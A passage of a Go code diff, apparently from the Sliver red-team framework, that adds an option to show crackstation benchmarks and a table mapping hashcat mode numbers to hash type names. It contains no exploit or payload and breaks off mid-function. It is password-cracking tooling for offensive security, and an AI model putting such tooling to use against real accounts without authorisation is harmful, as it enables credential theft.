|
||||||
})
|
})
|
||||||
for index, cracker := range crackers {
|
for index, cracker := range crackers {
|
||||||
printCracker(cracker, index, con)
|
printCracker(cracker, index, con, showBenchmarks)
|
||||||
if index < len(crackers)-1 {
|
if index < len(crackers)-1 {
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Println()
|
con.Println()
|
||||||
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||||
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
con.Printf("%s\n", tw.Render())
|
con.Printf("%s\n", tw.Render())
|
||||||
con.Println()
|
if showBenchmarks {
|
||||||
printBenchmarks(cracker, con)
|
con.Println()
|
||||||
|
printBenchmarks(cracker, con)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||||
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
|
|||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||||
for hashType, speed := range cracker.Benchmarks {
|
if len(cracker.Benchmarks) == 0 {
|
||||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
|
||||||
|
} else {
|
||||||
|
for hashType, speed := range cracker.Benchmarks {
|
||||||
|
name, ok := hashcatHashTypeName(hashType)
|
||||||
|
if !ok {
|
||||||
|
name = clientpb.HashType(hashType).String()
|
||||||
|
}
|
||||||
|
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
con.Printf("%s\n", tw.Render())
|
con.Printf("%s\n", tw.Render())
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,419 @@
|
|||||||
|
package crack
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
|
||||||
|
var hashcatHashTypes = map[int32]string{
|
||||||
|
0: "MD5",
|
||||||
|
10: "md5($pass.$salt)",
|
||||||
|
11: "Joomla < 2.5.18",
|
||||||
|
12: "PostgreSQL",
|
||||||
|
20: "md5($salt.$pass)",
|
||||||
|
21: "osCommerce, xt:Commerce",
|
||||||
|
22: "Juniper NetScreen/SSG (ScreenOS)",
|
||||||
|
23: "Skype",
|
||||||
|
24: "SolarWinds Serv-U",
|
||||||
|
30: "md5(utf16le($pass).$salt)",
|
||||||
|
40: "md5($salt.utf16le($pass))",
|
||||||
|
50: "HMAC-MD5 (key = $pass)",
|
||||||
|
60: "HMAC-MD5 (key = $salt)",
|
||||||
|
70: "md5(utf16le($pass))",
|
||||||
|
100: "SHA1",
|
||||||
|
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||||
|
110: "sha1($pass.$salt)",
|
||||||
|
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||||
|
112: "Oracle S: Type (Oracle 11+)",
|
||||||
|
120: "sha1($salt.$pass)",
|
||||||
|
121: "SMF (Simple Machines Forum) > v1.1",
|
||||||
|
122: "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||||
|
123: "EPi",
|
||||||
|
124: "Django (SHA-1)",
|
||||||
|
125: "ArubaOS",
|
||||||
|
130: "sha1(utf16le($pass).$salt)",
|
||||||
|
131: "MSSQL (2000)",
|
||||||
|
132: "MSSQL (2005)",
|
||||||
|
133: "PeopleSoft",
|
||||||
|
140: "sha1($salt.utf16le($pass))",
|
||||||
|
141: "Episerver 6.x < .NET 4",
|
||||||
|
150: "HMAC-SHA1 (key = $pass)",
|
||||||
|
160: "HMAC-SHA1 (key = $salt)",
|
||||||
|
170: "sha1(utf16le($pass))",
|
||||||
|
190: "sha1(LinkedIn)",
|
||||||
|
200: "MySQL323",
|
||||||
|
300: "MySQL4.1/MySQL5",
|
||||||
|
400: "phpass, phpBB3 (MD5)",
|
||||||
|
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||||
|
501: "Juniper IVE",
|
||||||
|
600: "BLAKE2b-512",
|
||||||
|
900: "MD4",
|
||||||
|
1000: "NTLM",
|
||||||
|
1100: "Domain Cached Credentials (DCC), MS Cache",
|
||||||
|
1300: "SHA2-224",
|
||||||
|
1400: "SHA2-256",
|
||||||
|
1410: "sha256($pass.$salt)",
|
||||||
|
1411: "SSHA-256(Base64), LDAP {SSHA256}",
|
||||||
|
1420: "sha256($salt.$pass)",
|
||||||
|
1421: "hMailServer",
|
||||||
|
1430: "sha256(utf16le($pass).$salt)",
|
||||||
|
1431: "base64(sha256(unicode($pass)))",
|
||||||
|
1440: "sha256($salt.utf16le($pass))",
|
||||||
|
1441: "Episerver 6.x >= .NET 4",
|
||||||
|
1450: "HMAC-SHA256 (key = $pass)",
|
||||||
|
1460: "HMAC-SHA256 (key = $salt)",
|
||||||
|
1470: "sha256(utf16le($pass))",
|
||||||
|
1500: "descrypt, DES (Unix), Traditional DES",
|
||||||
|
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||||
|
1700: "SHA2-512",
|
||||||
|
1710: "sha512($pass.$salt)",
|
||||||
|
1711: "SSHA-512(Base64), LDAP {SSHA512}",
|
||||||
|
1720: "sha512($salt.$pass)",
|
||||||
|
1722: "macOS v10.7",
|
||||||
|
1730: "sha512(utf16le($pass).$salt)",
|
||||||
|
1731: "MSSQL (2012, 2014)",
|
||||||
|
1740: "sha512($salt.utf16le($pass))",
|
||||||
|
1750: "HMAC-SHA512 (key = $pass)",
|
||||||
|
1760: "HMAC-SHA512 (key = $salt)",
|
||||||
|
1770: "sha512(utf16le($pass))",
|
||||||
|
1800: "sha512crypt $6$, SHA512 (Unix)",
|
||||||
|
2000: "STDOUT",
|
||||||
|
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||||
|
2400: "Cisco-PIX MD5",
|
||||||
|
2410: "Cisco-ASA MD5",
|
||||||
|
2500: "WPA-EAPOL-PBKDF2",
|
||||||
|
2501: "WPA-EAPOL-PMK",
|
||||||
|
2600: "md5(md5($pass))",
|
||||||
|
2611: "vBulletin < v3.8.5",
|
||||||
|
2612: "PHPS",
|
||||||
|
2711: "vBulletin >= v3.8.5",
|
||||||
|
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||||
|
3000: "LM",
|
||||||
|
3100: "Oracle H: Type (Oracle 7+)",
|
||||||
|
3200: "bcrypt $2\\*$, Blowfish (Unix)",
|
||||||
|
3300: "MD5(Sun)",
|
||||||
|
3500: "md5(md5(md5($pass)))",
|
||||||
|
3610: "md5(md5($salt).$pass )",
|
||||||
|
3710: "md5($salt.md5($pass))",
|
||||||
|
3711: "MediaWiki B type",
|
||||||
|
3720: "md5($pass.md5($salt))",
|
||||||
|
3721: "WebEdition CMS",
|
||||||
|
3800: "md5($salt.$pass.$salt)",
|
||||||
|
3910: "md5(md5($pass).md5($salt))",
|
||||||
|
4010: "md5($salt.md5($salt.$pass))",
|
||||||
|
4110: "md5($salt.md5($pass.$salt))",
|
||||||
|
4210: "md5($username.0.$pass)",
|
||||||
|
4300: "md5(strtoupper(md5($pass)))",
|
||||||
|
4400: "md5(sha1($pass))",
|
||||||
|
4500: "sha1(sha1($pass))",
|
||||||
|
4510: "sha1(sha1($pass).$salt)",
|
||||||
|
4520: "sha1($salt.sha1($pass))",
|
||||||
|
4521: "Redmine",
|
||||||
|
4522: "PunBB",
|
||||||
|
4600: "sha1(sha1(sha1($pass)))",
|
||||||
|
4700: "sha1(md5($pass))",
|
||||||
|
4710: "sha1(md5($pass).$salt)",
|
||||||
|
4711: "Huawei sha1(md5($pass).$salt)",
|
||||||
|
4800: "iSCSI CHAP authentication, MD5(CHAP)",
|
||||||
|
4900: "sha1($salt.$pass.$salt)",
|
||||||
|
5000: "sha1(sha1($salt.$pass.$salt))",
|
||||||
|
5100: "Half MD5",
|
||||||
|
5200: "Password Safe v3",
|
||||||
|
5300: "IKE-PSK MD5",
|
||||||
|
5400: "IKE-PSK SHA1",
|
||||||
|
5500: "NetNTLMv1 / NetNTLMv1+ESS",
|
||||||
|
5600: "NetNTLMv2",
|
||||||
|
5700: "Cisco-IOS type 4 (SHA256)",
|
||||||
|
5800: "Samsung Android Password/PIN",
|
||||||
|
6000: "RIPEMD-160",
|
||||||
|
6100: "Whirlpool",
|
||||||
|
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||||
|
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||||
|
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||||
|
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
|
||||||
|
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
|
||||||
|
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
|
||||||
|
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
|
||||||
|
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
|
||||||
|
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
|
||||||
|
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
|
||||||
|
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
|
||||||
|
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
|
||||||
|
6300: "AIX {smd5}",
|
||||||
|
6400: "AIX {ssha256}",
|
||||||
|
6500: "AIX {ssha512}",
|
||||||
|
6600: "1Password, agilekeychain",
|
||||||
|
6700: "AIX {ssha1}",
|
||||||
|
6800: "LastPass + LastPass sniffed",
|
||||||
|
6900: "GOST R 34.11-94",
|
||||||
|
7000: "FortiGate (FortiOS)",
|
||||||
|
7100: "macOS v10.8+ (PBKDF2-SHA512)",
|
||||||
|
7200: "GRUB 2",
|
||||||
|
7300: "IPMI2 RAKP HMAC-SHA1",
|
||||||
|
7400: "sha256crypt $5$, SHA256 (Unix)",
|
||||||
|
7401: "MySQL $A$ (sha256crypt)",
|
||||||
|
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||||
|
7700: "SAP CODVN B (BCODE)",
|
||||||
|
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||||
|
7800: "SAP CODVN F/G (PASSCODE)",
|
||||||
|
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||||
|
7900: "Drupal7",
|
||||||
|
8000: "Sybase ASE",
|
||||||
|
8100: "Citrix NetScaler (SHA1)",
|
||||||
|
8200: "1Password, cloudkeychain",
|
||||||
|
8300: "DNSSEC (NSEC3)",
|
||||||
|
8400: "WBB3 (Woltlab Burning Board)",
|
||||||
|
8500: "RACF",
|
||||||
|
8600: "Lotus Notes/Domino 5",
|
||||||
|
8700: "Lotus Notes/Domino 6",
|
||||||
|
8800: "Android FDE <= 4.3",
|
||||||
|
8900: "scrypt",
|
||||||
|
9000: "Password Safe v2",
|
||||||
|
9100: "Lotus Notes/Domino 8",
|
||||||
|
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||||
|
9300: "Cisco-IOS $9$ (scrypt)",
|
||||||
|
9400: "MS Office 2007",
|
||||||
|
9500: "MS Office 2010",
|
||||||
|
9600: "MS Office 2013",
|
||||||
|
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
|
||||||
|
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||||
|
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||||
|
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
|
||||||
|
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||||
|
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||||
|
9900: "Radmin2",
|
||||||
|
10000: "Django (PBKDF2-SHA256)",
|
||||||
|
10100: "SipHash",
|
||||||
|
10200: "CRAM-MD5",
|
||||||
|
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||||
|
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||||
|
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||||
|
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||||
|
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||||
|
10600: "PDF 1.7 Level 3 (Acrobat 9)",
|
||||||
|
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||||
|
10800: "SHA2-384",
|
||||||
|
10810: "sha384($pass.$salt)",
|
||||||
|
10820: "sha384($salt.$pass)",
|
||||||
|
10830: "sha384(utf16le($pass).$salt)",
|
||||||
|
10840: "sha384($salt.utf16le($pass))",
|
||||||
|
10870: "sha384(utf16le($pass))",
|
||||||
|
10900: "PBKDF2-HMAC-SHA256",
|
||||||
|
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||||
|
11000: "PrestaShop",
|
||||||
|
11100: "PostgreSQL CRAM (MD5)",
|
||||||
|
11200: "MySQL CRAM (SHA1)",
|
||||||
|
11300: "Bitcoin/Litecoin wallet.dat",
|
||||||
|
11400: "SIP digest authentication (MD5)",
|
||||||
|
11500: "CRC32",
|
||||||
|
11600: "7-Zip",
|
||||||
|
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||||
|
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||||
|
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||||
|
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||||
|
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||||
|
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||||
|
11900: "PBKDF2-HMAC-MD5",
|
||||||
|
12000: "PBKDF2-HMAC-SHA1",
|
||||||
|
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||||
|
12100: "PBKDF2-HMAC-SHA512",
|
||||||
|
12200: "eCryptfs",
|
||||||
|
12300: "Oracle T: Type (Oracle 12+)",
|
||||||
|
12400: "BSDi Crypt, Extended DES",
|
||||||
|
12500: "RAR3-hp",
|
||||||
|
12600: "ColdFusion 10+",
|
||||||
|
12700: "Blockchain, My Wallet",
|
||||||
|
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||||
|
12900: "Android FDE (Samsung DEK)",
|
||||||
|
13000: "RAR5",
|
||||||
|
13100: "Kerberos 5, etype 23, TGS-REP",
|
||||||
|
13200: "AxCrypt 1",
|
||||||
|
13300: "AxCrypt 1 in-memory SHA1",
|
||||||
|
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
|
||||||
|
13500: "PeopleSoft PS_TOKEN",
|
||||||
|
13600: "WinZip",
|
||||||
|
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||||
|
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||||
|
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||||
|
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
|
||||||
|
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
|
||||||
|
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
|
||||||
|
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
|
||||||
|
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
|
||||||
|
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
|
||||||
|
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
|
||||||
|
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
|
||||||
|
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
|
||||||
|
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
|
||||||
|
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
|
||||||
|
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
|
||||||
|
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
|
||||||
|
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
|
||||||
|
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
|
||||||
|
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||||
|
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||||
|
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||||
|
13800: "Windows Phone 8+ PIN/password",
|
||||||
|
13900: "OpenCart",
|
||||||
|
14000: "DES (PT = $salt, key = $pass)",
|
||||||
|
14100: "3DES (PT = $salt, key = $pass)",
|
||||||
|
14400: "sha1(CX)",
|
||||||
|
14500: "Linux Kernel Crypto API (2.4)",
|
||||||
|
14600: "LUKS",
|
||||||
|
14700: "iTunes backup < 10.0",
|
||||||
|
14800: "iTunes backup >= 10.0",
|
||||||
|
14900: "Skip32 (PT = $salt, key = $pass)",
|
||||||
|
15000: "FileZilla Server >= 0.9.55",
|
||||||
|
15100: "Juniper/NetBSD sha1crypt",
|
||||||
|
15200: "Blockchain, My Wallet, V2",
|
||||||
|
15300: "DPAPI masterkey file v1 + local context",
|
||||||
|
15400: "ChaCha20",
|
||||||
|
15500: "JKS Java Key Store Private Keys (SHA1)",
|
||||||
|
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||||
|
15700: "Ethereum Wallet, SCRYPT",
|
||||||
|
15900: "DPAPI masterkey file v2 + Active Directory domain context",
|
||||||
|
16000: "Tripcode",
|
||||||
|
16100: "TACACS+",
|
||||||
|
16200: "Apple Secure Notes",
|
||||||
|
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||||
|
16400: "CRAM-MD5 Dovecot",
|
||||||
|
16500: "JWT (JSON Web Token)",
|
||||||
|
16600: "Electrum Wallet (Salt-Type 1-3)",
|
||||||
|
16700: "FileVault 2",
|
||||||
|
16800: "WPA-PMKID-PBKDF2",
|
||||||
|
16801: "WPA-PMKID-PMK",
|
||||||
|
16900: "Ansible Vault",
|
||||||
|
17200: "PKZIP (Compressed)",
|
||||||
|
17210: "PKZIP (Uncompressed)",
|
||||||
|
17220: "PKZIP (Compressed Multi-File)",
|
||||||
|
17225: "PKZIP (Mixed Multi-File)",
|
||||||
|
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||||
|
17300: "SHA3-224",
|
||||||
|
17400: "SHA3-256",
|
||||||
|
17500: "SHA3-384",
|
||||||
|
17600: "SHA3-512",
|
||||||
|
17700: "Keccak-224",
|
||||||
|
17800: "Keccak-256",
|
||||||
|
17900: "Keccak-384",
|
||||||
|
18000: "Keccak-512",
|
||||||
|
18100: "TOTP (HMAC-SHA1)",
|
||||||
|
18200: "Kerberos 5, etype 23, AS-REP",
|
||||||
|
18300: "Apple File System (APFS)",
|
||||||
|
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||||
|
18500: "sha1(md5(md5($pass)))",
|
||||||
|
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||||
|
18700: "Java Object hashCode()",
|
||||||
|
18800: "Blockchain, My Wallet, Second Password (SHA256)",
|
||||||
|
18900: "Android Backup",
|
||||||
|
19000: "QNX /etc/shadow (MD5)",
|
||||||
|
19100: "QNX /etc/shadow (SHA256)",
|
||||||
|
19200: "QNX /etc/shadow (SHA512)",
|
||||||
|
19300: "sha1($salt1.$pass.$salt2)",
|
||||||
|
19500: "Ruby on Rails Restful-Authentication",
|
||||||
|
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
|
||||||
|
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
|
||||||
|
19800: "Kerberos 5, etype 17, Pre-Auth",
|
||||||
|
19900: "Kerberos 5, etype 18, Pre-Auth",
|
||||||
|
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
|
||||||
|
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
|
||||||
|
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
|
||||||
|
20200: "Python passlib pbkdf2-sha512",
|
||||||
|
20300: "Python passlib pbkdf2-sha256",
|
||||||
|
20400: "Python passlib pbkdf2-sha1",
|
||||||
|
20500: "PKZIP Master Key",
|
||||||
|
20510: "PKZIP Master Key (6 byte optimization)",
|
||||||
|
20600: "Oracle Transportation Management (SHA256)",
|
||||||
|
20710: "sha256(sha256($pass).$salt)",
|
||||||
|
20711: "AuthMe sha256",
|
||||||
|
20720: "sha256($salt.sha256($pass))",
|
||||||
|
20800: "sha256(md5($pass))",
|
||||||
|
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||||
|
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||||
|
21100: "sha1(md5($pass.$salt))",
|
||||||
|
21200: "md5(sha1($salt).md5($pass))",
|
||||||
|
21300: "md5($salt.sha1($salt.$pass))",
|
||||||
|
21400: "sha256(sha256_bin($pass))",
|
||||||
|
21500: "SolarWinds Orion",
|
||||||
|
21501: "SolarWinds Orion v2",
|
||||||
|
21600: "Web2py pbkdf2-sha512",
|
||||||
|
21700: "Electrum Wallet (Salt-Type 4)",
|
||||||
|
21800: "Electrum Wallet (Salt-Type 5)",
|
||||||
|
22000: "WPA-PBKDF2-PMKID+EAPOL",
|
||||||
|
22001: "WPA-PMK-PMKID+EAPOL",
|
||||||
|
22100: "BitLocker",
|
||||||
|
22200: "Citrix NetScaler (SHA512)",
|
||||||
|
22300: "sha256($salt.$pass.$salt)",
|
||||||
|
22301: "Telegram Mobile App Passcode (SHA256)",
|
||||||
|
22400: "AES Crypt (SHA256)",
|
||||||
|
22500: "MultiBit Classic .key (MD5)",
|
||||||
|
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||||
|
22700: "MultiBit HD (scrypt)",
|
||||||
|
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||||
|
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||||
|
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||||
|
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||||
|
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||||
|
23001: "SecureZIP AES-128",
|
||||||
|
23002: "SecureZIP AES-192",
|
||||||
|
23003: "SecureZIP AES-256",
|
||||||
|
23100: "Apple Keychain",
|
||||||
|
23200: "XMPP SCRAM PBKDF2-SHA1",
|
||||||
|
23300: "Apple iWork",
|
||||||
|
23400: "Bitwarden",
|
||||||
|
23500: "AxCrypt 2 AES-128",
|
||||||
|
23600: "AxCrypt 2 AES-256",
|
||||||
|
23700: "RAR3-p (Uncompressed)",
|
||||||
|
23800: "RAR3-p (Compressed)",
|
||||||
|
23900: "BestCrypt v3 Volume Encryption",
|
||||||
|
24100: "MongoDB ServerKey SCRAM-SHA-1",
|
||||||
|
24200: "MongoDB ServerKey SCRAM-SHA-256",
|
||||||
|
24300: "sha1($salt.sha1($pass.$salt))",
|
||||||
|
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||||
|
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||||
|
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||||
|
24600: "SQLCipher",
|
||||||
|
24700: "Stuffit5",
|
||||||
|
24800: "Umbraco HMAC-SHA1",
|
||||||
|
24900: "Dahua Authentication MD5",
|
||||||
|
25300: "MS Office 2016 - SheetProtection",
|
||||||
|
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
|
||||||
|
25500: "Stargazer Stellar Wallet XLM",
|
||||||
|
25600: "bcrypt(md5($pass)) / bcryptmd5",
|
||||||
|
25700: "MurmurHash",
|
||||||
|
25800: "bcrypt(sha1($pass)) / bcryptsha1",
|
||||||
|
25900: "KNX IP Secure - Device Authentication Code",
|
||||||
|
26000: "Mozilla key3.db",
|
||||||
|
26100: "Mozilla key4.db",
|
||||||
|
26200: "OpenEdge Progress Encode",
|
||||||
|
26300: "FortiGate256 (FortiOS256)",
|
||||||
|
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||||
|
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||||
|
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||||
|
26500: "iPhone passcode (UID key + System Keybag)",
|
||||||
|
26600: "MetaMask Wallet",
|
||||||
|
99999: "Plaintext",
|
||||||
|
}
|
||||||
|
|
||||||
|
func hashcatHashTypeName(mode int32) (string, bool) {
|
||||||
|
